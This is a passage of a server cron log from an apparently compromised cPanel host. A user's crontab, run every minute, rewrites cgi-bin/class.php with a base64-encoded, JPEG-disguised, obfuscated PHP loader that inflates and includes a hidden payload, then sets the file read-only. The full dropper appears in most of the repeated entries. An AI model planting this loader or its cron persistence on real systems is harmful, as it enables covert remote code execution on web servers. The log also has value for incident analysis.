QUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:23:01 server CROND[30375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:24:01 server CROND[30750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:24:01 server CROND[30751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:24:01 server CROND[30752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:25:01 server CROND[31127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:25:01 server CROND[31128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:25:01 server CROND[31129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:25:01 server CROND[31132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:25:01 server CROND[31133]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:25:01 server CROND[31135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:25:01 server CROND[31131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:25:01 server CROND[31134]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 12:26:01 server CROND[31984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:26:01 server CROND[31985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:26:01 server CROND[31986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:27:01 server CROND[32370]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:27:01 server CROND[32372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:27:01 server CROND[32373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:27:01 server CROND[32371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:28:01 server CROND[401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:28:01 server CROND[402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:28:01 server CROND[403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:29:01 server CROND[810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:29:01 server CROND[811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:29:01 server CROND[812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:30:01 server CROND[1286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:30:01 server CROND[1288]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:30:01 server CROND[1291]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 12:30:01 server CROND[1290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:30:01 server CROND[1292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:30:01 server CROND[1294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:30:01 server CROND[1295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:30:01 server CROND[1293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:30:01 server CROND[1301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:31:01 server CROND[2185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:31:01 server CROND[2186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:31:01 server CROND[2187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:32:01 server CROND[2565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:32:01 server CROND[2566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:32:01 server CROND[2567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:33:01 server CROND[3061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:33:01 server CROND[3062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:33:01 server CROND[3063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:34:01 server CROND[3493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:34:01 server CROND[3494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:34:01 server CROND[3495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:35:01 server CROND[3895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:35:01 server CROND[3896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:35:01 server CROND[3899]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 12:35:01 server CROND[3904]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:35:01 server CROND[3906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:35:01 server CROND[3911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:35:01 server CROND[3910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:35:01 server CROND[3913]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 12:35:01 server CROND[3905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 